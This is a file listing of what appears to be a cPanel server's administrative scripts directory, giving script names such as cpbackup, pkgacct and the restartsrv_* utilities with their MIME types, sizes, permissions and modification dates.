-rwxr-xr-x
2024-03-04 05:44:29
configure_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_ipv6_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
convert2dovecot
text/x-perl
682 B
-rwxr-xr-x
2024-03-04 05:44:29
convert_accesshash_to_token
text/x-perl
4.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_and_migrate_from_legacy_backup
text/x-perl
1.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_maildir_to_mdbox
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_mdbox_to_maildir
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_roundcube_mysql2sqlite
text/x-perl
26.12 KB
-rwxr-xr-x
2025-03-20 10:57:16
convert_to_dovecot_delivery
text/x-perl
4.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_whmxfer_to_sqlite
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_root
text/x-perl
1.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_user
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpaddonsup
text/x-perl
3.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpan_config
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanel_initial_install
text/x-perl
67.16 KB
-rwxr-xr-x
2025-08-07 10:57:42
cpanelsync
text/x-perl
28.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanelsync_postprocessor
text/x-perl
1.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanpingtest
text/x-perl
965 B
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup
text/x-perl
44.79 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup_transport_file
text/x-perl
5.65 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpdig
text/x-perl
2.09 KB
-rwxr-xr-x
2024-06-24 01:40:23
cpfetch
text/x-perl
1.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdblacklist
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdwhitelist
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpservice
text/x-perl
2.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_port_authority
text/x-perl
19.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_service_manager
text/x-perl
10.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
createacct
27.78 MB
-rwx------
2025-10-16 10:57:28
custom_backup_destination.pl.sample
text/x-perl
5.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
custom_backup_destination.pl.skeleton
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
dcpumon-wrapper
text/x-perl
850 B
-rwxr-xr-x
2024-03-04 05:44:29
delpop
text/x-perl
6.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
detect_env_capabilities
text/x-perl
508 B
-rwxr-xr-x
2024-03-04 05:44:29
disable_prelink
text/x-perl
2.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
disable_sqloptimizer
text/x-perl
1.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
disablefileprotect
text/x-perl
2.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
distro_changed_hook
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnscluster
text/x-perl
4.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnsqueuecron
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnssec-cluster-keys
text/x-perl
3.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
dovecot_maintenance
text/x-perl
7.66 KB
-rwxr-xr-x
2025-04-15 10:57:19
dovecot_set_defaults.pl
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpcdb
text/x-perl
866 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpinodes
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpquotas
text/x-perl
616 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpstor
text/x-perl
913 B
-rwxr-xr-x
2024-03-04 05:44:29
ea4_fresh_install
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
edit_cpanelsync_exclude_list
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
editquota
text/x-perl
3.43 KB
-rwxr-xr-x
2024-03-04 05:44:29
elevate-cpanel
386.27 KB
-rwx------
2025-10-26 11:00:34
email_archive_maintenance
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
email_hold_maintenance
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_spf_dkim_globally
text/x-perl
8.83 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_sqloptimizer
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
enablefileprotect
text/x-perl
2.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_autoenabled_features
3.01 MB
-rwx------
2025-10-16 10:57:38
ensure_conf_dir_crt_key
text/x-perl
4.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_cpuser_file_ip
text/x-perl
2.55 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_crontab_permissions
text/x-perl
1.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_dovecot_memory_limits_meet_minimum
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_hostname_resolves
text/x-perl
2.51 KB
-rwxr-xr-x
2025-03-26 10:57:15
ensure_includes
text/x-perl
601 B
-rwxr-xr-x
2024-03-04 05:44:29
ensure_vhost_includes
text/x-perl
13.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
exim_tidydb
text/x-perl
2.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximconfgen
text/x-perl
1.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximstats_spam_check
text/x-perl
867 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_certificates_from_sslstorage
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_pkgacct_sessions
text/x-perl
852 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_transfer_sessions
text/x-perl
1.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
fastmail
text/x-perl
5.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
featuremod
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
fetchfile
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
find_and_fix_rpm_issues
text/x-perl
6.99 KB
-rwxr-xr-x
2024-08-22 10:57:25
find_outdated_services
text/x-perl
6.06 KB
-rwxr-xr-x
2024-06-24 01:38:23
find_pids_with_inotify_watch_on_path
text/x-perl
3.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-cpanel-perl
text/x-perl
28.22 KB
-rwxr-xr-x
2025-10-16 10:57:36
fix-listen-on-localhost
text/x-perl
3.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-web-vhost-configuration
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_addon_permissions
text/x-perl
7.69 KB
-rwxr-xr-x
2025-06-09 10:57:21
fix_dns_zone_ttls
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_innodb_tables
text/x-perl
4.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_reseller_acls
text/x-perl
10.7 KB
-rwxr-xr-x
2025-06-09 10:57:31
fixetchosts
text/x-perl
4.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixheaders
text/x-perl
572 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailinglistperms
text/x-perl
1008 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailman
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixnamedviews
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixndc
text/x-perl
413 B
-rwxr-xr-x
2024-03-04 05:44:29
fixquotas
text/x-perl
18.39 KB
-rwxr-xr-x
2024-08-22 10:57:29
fixrelayd
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixrndc
text/x-perl
16.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixtar
text/x-perl
503 B
-rwxr-xr-x
2024-03-04 05:44:29
fixtlsversions
text/x-perl
4.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixvaliases
text/x-perl
2 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixwebalizer
text/x-perl
966 B
-rwxr-xr-x
2024-03-04 05:44:29
forcelocaldomain
text/x-perl
895 B
-rwxr-xr-x
2024-03-04 05:44:29
ftpfetch
text/x-perl
2.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpquotacheck
text/x-perl
8.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpsfetch
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpupdate
text/x-perl
261 B
-rwxr-xr-x
2024-03-04 05:44:29
gather_update_log_stats
4.25 KB
-rwx------
2025-10-21 07:53:57
gather_update_logs_setupcrontab
5.45 KB
-rwx------
2025-10-21 07:53:57
gemwrapper
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
gencrt
text/x-perl
6.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_account_suspension_include
text/x-perl
5.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_credentials
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_oauth_uri
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
generate_maildirsize
text/x-perl
13.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
gensysinfo
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
get_locale_from_legacy_name_info
text/x-perl
1.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
getremotecpmove
text/x-perl
12.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
grpck
text/x-perl
1.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
hackcheck
text/x-perl
3.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
hook
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
httpspamdetect
text/x-perl
2.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
hulk-unban-ip
3.97 MB
-rwx------
2025-10-16 10:57:31
import_exim_data
text/x-perl
8.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
increase_filesystem_limits
text/x-perl
891 B
-rwxr-xr-x
2024-03-04 05:44:29
initacls
text/x-perl
4.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
initfpsuexec
text/x-shellscript
444 B
-rwxr-xr-x
2024-03-04 05:44:29
initialize_360monitoring
2.76 KB
-rwx------
2025-07-25 08:58:50
initquotas
text/x-perl
19.47 KB
-rwxr-xr-x
2025-06-09 10:57:26
initsuexec
text/x-perl
4.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_cpanel_analytics
text/x-perl
1.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_dovecot_fts
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_plugin
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
installpkg
text/x-perl
575 B
-rwxr-xr-x
2024-03-04 05:44:29
installpostgres
text/x-perl
6.46 KB
-rwxr-xr-x
2025-06-09 10:57:30
installsqlite3
text/x-perl
1.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipcheck
text/x-perl
3.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipusage
text/x-perl
7.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
isdedicatedip
text/x-perl
602 B
-rwxr-xr-x
2024-03-04 05:44:29
jetbackup-check
text/x-perl
3.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
killdns
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
killdns-dnsadmin
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killmysqluserprivs
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
killmysqlwildcard
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killpvhost
text/x-perl
853 B
-rwxr-xr-x
2024-03-04 05:44:29
killspamkeys
text/x-perl
937 B
-rwxr-xr-x
2024-03-04 05:44:29
link_3rdparty_binaries
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
linksubemailtomainacct
text/x-perl
3.17 KB
-rwxr-xr-x
2024-03-04 05:44:29
listcheck
text/x-perl
538 B
-rwxr-xr-x
2024-03-04 05:44:29
listsubdomains
text/x-perl
1.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
litespeed-check
text/x-perl
3.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_export
text/x-perl
5.21 KB
-rwxr-xr-x
2025-04-15 10:57:21
locale_import
text/x-perl
4.35 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_info
text/x-perl
3.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
logo.dat
text/plain
205 B
-rw-r--r--
2024-03-04 05:44:29
magicloader
text/x-perl
1.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
maildir_converter
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailperm
text/x-perl
16.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailscannerupdate
text/x-perl
2.42 KB
-rwxr-xr-x
2024-03-04 05:44:29
mainipcheck
text/x-perl
10 KB
-rwxr-xr-x
2024-03-04 05:44:29
maintenance
text/x-perl
46.22 KB
-rwxr-xr-x
2025-02-11 10:57:15
make_config
text/plain
407 B
-rw-r--r--
2024-03-04 05:44:29
make_hostname_unowned
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_extra_marketing
12.41 KB
-rwx------
2025-08-26 09:44:38
manage_greylisting
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_mysql_profiles
text/x-perl
16.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_ccs_to_cpdavd
text/x-perl
47.06 KB
-rwxr-xr-x
2025-02-11 10:57:16
migrate_local_ini_to_php_ini
text/x-perl
7.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_whmtheme_file_to_userdata
text/x-perl
2.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
mkwwwacctconf
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
modify_accounts
text/x-perl
4.07 KB
-rwxr-xr-x
2025-04-15 10:57:26
modify_featurelist
9.2 KB
-rwx------
2025-08-26 09:44:38
modify_packages
text/x-perl
3.64 KB
-rwxr-xr-x
2025-04-15 10:57:21
modsec_vendor
text/x-perl
15.63 KB
-rwxr-xr-x
2024-03-04 05:44:29
mysqlconnectioncheck
text/x-perl
6.72 KB
-rwxr-xr-x
2024-08-22 10:57:40
mysqlpasswd
text/x-perl
4.14 KB
-rwxr-xr-x
2024-08-22 10:57:20
named.ca
text/plain
1.57 KB
-rw-r--r--
2024-03-04 05:44:29
named.rfc1912.zones
text/plain
774 B
-rw-r--r--
2024-03-04 05:44:29
notify_expiring_certificates
text/x-perl
9.37 KB
-rwxr-xr-x
2024-03-04 05:44:29
notify_expiring_certificates_on_linked_nodes
text/x-perl
1.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
oopscheck
text/x-perl
1.12 KB
-rwxr-xr-x
2024-03-04 05:44:29
optimize_eximstats
text/x-perl
3.88 KB
-rwxr-xr-x
2024-03-04 05:44:29
patch_mail_spamassassin_compiledregexps_body_0
text/x-perl
2.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
patchfdsetsize
text/x-perl
2.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
pedquota
text/x-perl
2.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
perform_sqlite_auto_rebuild_db_maintenance
text/x-perl
1.98 KB
-rwxr-xr-x
2025-04-15 10:57:21
perlinstaller
text/x-perl
528 B
-rwxr-xr-x
2024-03-04 05:44:29
perlmods
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
php_fpm_config
text/x-perl
9.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
phpini_tidy
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
pkgacct
text/x-perl
88.03 KB
-rwxr-xr-x
2024-11-19 10:57:15
post_snapshot
text/x-perl
2.09 KB
-rwxr-xr-x
2024-08-22 10:57:19
post_sync_cleanup
text/x-perl
6.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
postupcp
text/x-shellscript
107 B
-rwxr-xr-x
2025-07-01 10:57:21
primary_virtual_host_migration
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
process_pending_cpanel_php_pear_registration
text/x-perl
2.73 KB
-rwxr-xr-x
2025-06-09 10:57:22
process_site_templates
text/x-perl
7.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
proxydomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
ptycheck
text/x-perl
724 B
-rwxr-xr-x
2024-03-04 05:44:29
purge_modsec_log
text/x-perl
1.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
purge_old_config_caches
text/x-perl
2.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
pwck
text/x-perl
708 B
-rwxr-xr-x
2024-03-04 05:44:29
quickdnslookup
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
quickwhoisips
text/x-perl
2.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
quota_auto_fix
text/x-perl
1.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
quotacheck
text/x-perl
22.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
rawchpass
text/x-perl
460 B
-rwxr-xr-x
2024-03-04 05:44:29
rdate
text/x-perl
4.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
realadduser
text/x-perl
5.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
realchpass
text/x-perl
3.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
realperlinstaller
text/x-perl
5.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
realrawchpass
text/x-perl
425 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_addons_packages_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_rpm_addons_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_bandwidthdb_root_cache
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_dbmap
text/x-perl
5.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_provider_openid_connect_links_db
text/x-perl
1.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_whm_chrome
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuilddnsconfig
text/x-perl
25.5 KB
-rwxr-xr-x
2025-06-09 10:57:25
rebuildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildinstalledssldb
text/x-perl
2.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildippool
text/x-perl
509 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuilduserssldb
text/x-perl
948 B
-rwxr-xr-x
2024-03-04 05:44:29
refresh-dkim-validity-cache
text/x-perl
5.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
regenerate_tokens
text/x-perl
2.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
remote_log_transfer
text/x-perl
11.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
remove_dovecot_index_files
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
removeacct
26.37 MB
-rwx------
2025-10-16 10:57:40
rescan_user_dovecot_fts
text/x-perl
2.98 KB
-rwxr-xr-x
2024-03-04 05:44:29
reset_mail_quotas_to_sane_values
text/x-perl
6.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetmailmanurls
text/x-perl
2.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetquotas
text/x-perl
4.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv
text/x-perl
3.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_base
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_bind
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_chkservd
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_clamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanel_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanellogd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpdavd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpgreylistd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cphulkd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpipv6
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpsrvd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_crond
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dnsadmin
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dovecot
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_exim
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_eximstats
text/x-perl
504 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpd
text/x-perl
426 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpserver
text/x-perl
911 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_httpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_imap
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_inetd
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ipaliases
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_lmtp
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_mailman
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_mysql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_named
text/x-perl
579 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_nscd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_p0f
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pdns
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pop3
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgres
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgresql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_powerdns
text/x-perl
442 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_proftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pureftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_queueprocd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslog
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslogd
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_spamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_sshd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_syslogd
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_tailwatchd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_unknown
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_xinetd
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restorecpuserfromcache
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
restorepkg
44.36 MB
-rwx------
2025-10-16 10:57:45
rfc1912_zones.tar
application/x-tar
10 KB
-rw-r--r--
2024-03-04 05:44:29
rpmup
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
rsync-user-homedir.pl
text/x-perl
5.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
run_if_exists
text/x-shellscript
512 B
-rwxr-xr-x
2024-03-04 05:44:29
run_plugin_lifecycle
3.53 KB
-rwx------
2025-08-26 09:44:38
runstatsonce
text/x-shellscript
440 B
-rwxr-xr-x
2024-03-04 05:44:29
runweblogs
text/x-perl
1.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
sa-update_wrapper
text/x-perl
3.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
safetybits.pl
text/x-perl
844 B
-rwxr-xr-x
2024-03-04 05:44:29
secureit
text/x-perl
4.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
securemysql
text/x-perl
4.4 KB
-rwxr-xr-x
2024-06-24 10:57:19
securerailsapps
text/x-perl
3.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
securetmp
text/x-perl
16.76 KB
-rwxr-xr-x
2025-08-07 10:57:28
sendicq
text/x-perl
474 B
-rwxr-xr-x
2024-03-04 05:44:29
servicedomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
set_mailman_archive_perms
text/x-perl
1.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
setpostgresconfig
text/x-perl
6.04 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_greylist_db
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_modsec_db
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_systemd_timer_for_plugins
3.92 KB
-rwx------
2025-08-26 09:44:38
setupftpserver
text/x-perl
10.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
setupmailserver
text/x-perl
9.39 KB
-rwxr-xr-x
2025-06-09 10:57:28
setupnameserver
text/x-perl
12.52 KB
-rwxr-xr-x
2024-08-22 10:57:34
shrink_modsec_ip_database
text/x-perl
12.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
simpleps
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
slurp_exim_mainlog
text/x-perl
5.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
smartcheck
text/x-perl
15.13 KB
-rwxr-xr-x
2025-06-09 10:57:20
smtpmailgidonly
text/x-perl
8.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
snapshot_prep
text/x-perl
5.88 KB
-rwxr-xr-x
2024-08-22 10:57:37
spamassassin_dbm_cleaner
text/x-perl
5.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamassassindisable
text/x-perl
3.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamboxdisable
text/x-perl
2.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
sshcontrol
text/x-perl
14.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
ssl_crt_status
text/x-perl
3.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendacct
text/x-perl
18.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendmysqlusers
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
swapip
text/x-perl
3.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync-mysql-users-from-grants
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_child_accounts
text/x-perl
1.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_contact_emails_to_cpanel_users_files
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
synccpaddonswithsqlhost
text/x-perl
6.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
synctransfers
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
syslog_check
text/x-perl
1.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
sysup
text/x-perl
645 B
-rwxr-xr-x
2024-03-04 05:44:29
test_sa_compiled
text/x-perl
1.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_account_as_user
text/x-perl
2.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_accounts_as_root
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress
